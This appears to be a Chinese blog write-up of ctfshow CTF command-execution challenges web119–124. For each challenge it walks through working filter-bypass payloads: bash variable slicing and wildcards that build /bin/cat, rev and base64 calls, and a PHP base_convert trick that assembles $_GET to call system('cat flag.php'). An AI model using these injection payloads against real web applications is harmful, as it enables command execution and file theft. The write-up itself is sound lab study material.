ctfshow web入门web119-124

1.web119

和118题类似,只不过是过滤了PATH

0可以用任何字符代替,比如 A , {A}, A,{0}
KaTeX parse error: Expected '}', got '#' at position 2: {#̲SHLVL}=1,或者{##},${#?}
{PHP_VERSION:~A}=2,php版本为x.x.2时
${#IFS}=3(linux下是3,mac里是4)
${#HOME}为5
${#RANDOM}一般是5,也可能是4

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,而 BASH_SUBSHELL 是记录一个 Bash 进程实例中多个子 Shell(subshell)嵌套深度的累加器
在这里插入图片描述

pwd:/tmp
echo ${PWD:0:1} #表示从0下标开始的第一个字符(从右往左开始取)
echo ${PWD:~0:1} #从结尾开始往前的第一个字符(从右往左开始取)
echo ${PWD:~0:2} #也只是取一个字符,因为是从右往左开始取的
echo ${PWD:~3:3} <=>echo ${PWD:0:3}
echo ${PWD:~0}
echo ${PWD:~A} #所以字母和0具有同样作用

在这里插入图片描述pwd:/var/www/html
user:www-data
home:/www-data
在这里插入图片描述
payload:

${#HOSTNAME}=7,${HOSTNAME}=ctfshow
${HOME:${#HOSTNAME}:${#SHLVL}}     =>   t
${PWD:${Z}:${#SHLVL}}   或${PWD:${#}:${#SHLVL}} =>   /   
/bin/cat flag.php
构造的是/???/??t ????.???  =>/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
还可构造/???/?at ????.??? =>/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
还可构造/???/?a? ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

2.web120

在这里插入图片描述
这题把home过滤掉了,还限制了长度

payload:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
右键查看源代码即可得到flag

在这里插入图片描述

3.web121

在这里插入图片描述
又过滤了~,SHLVL,还是限制了长度
在用/???/?a? ???.???发现构造不出来
/bin/rev即rev将文件内容读取并进行反转,就倒着输出文件内容
paylaod:

${#?}或${##}=1
${IFS}=3
/???/r?? ????.???
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
linux执行下条命令,反转为原来的
echo 'php?< ;"}be80abe44d20-c48b-e194-7c20-38ad93c1{wohsftc"=galf$ >?'|rev

4.web122

在这里插入图片描述
又把#过滤了
通过 ? 来实现的, ?来实现的, ?来实现的,?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误,执行错误时可能为1,${RANDOM::1}可能为4,也可能为其他值
在这里插入图片描述

为了能够让$?可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用<A
在这里插入图片描述
payload:

/???/?????4 ????.???=>/bin/base64
<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
#多试几次才会使random出现4这个数字

5.web124

在这里插入图片描述
过滤了一些符号,并且使用的字母必须是数学函数的白名单里的字母,控制了长度不能大于80,可以通过$_GET[]传参来绕过过滤,[]可以用{}代替
base_convert #在任意进制之间转换数字。
hexdec #把十六进制转换为十进制。
dechex #把十进制转换为十六进制。
hex2bin #把十六进制的字符串转换为ASCII码
没有hex2bin需要使用base_convert构造出来

<?php

echo base_convert('hex2bin',36,10);
echo '</br>';
//把_GET转为16进制,在转为10进制
//直接16进制不行,因为会有字母
echo hexdec(bin2hex('_GET'));
echo '</br>';
//下方是使用base_concvert对_GET转为10进制
//但是输出后发现是get,而不是_GET
//echo base_convert(21269,10,36);
echo '</br>';
//把hex2bin的十进制进行输出查看是不是一致
echo base_convert(37907361743,10,36)
?>
10进制数表示
_GET:37907361743
hex2bin :1598506324
hex2bin(dechex(37907361743))>base_convert(1598506324,10,36)(dechex(37907361743))
$$pi{abs}($$pi{acos})&abs=>$_GET['abs']($_GET['aos'])

payload:

$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat flag.php

参考文章:
SHLVL
ctfshow命令执行web118-124
ctfshow 命令执行web118-124
web124

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值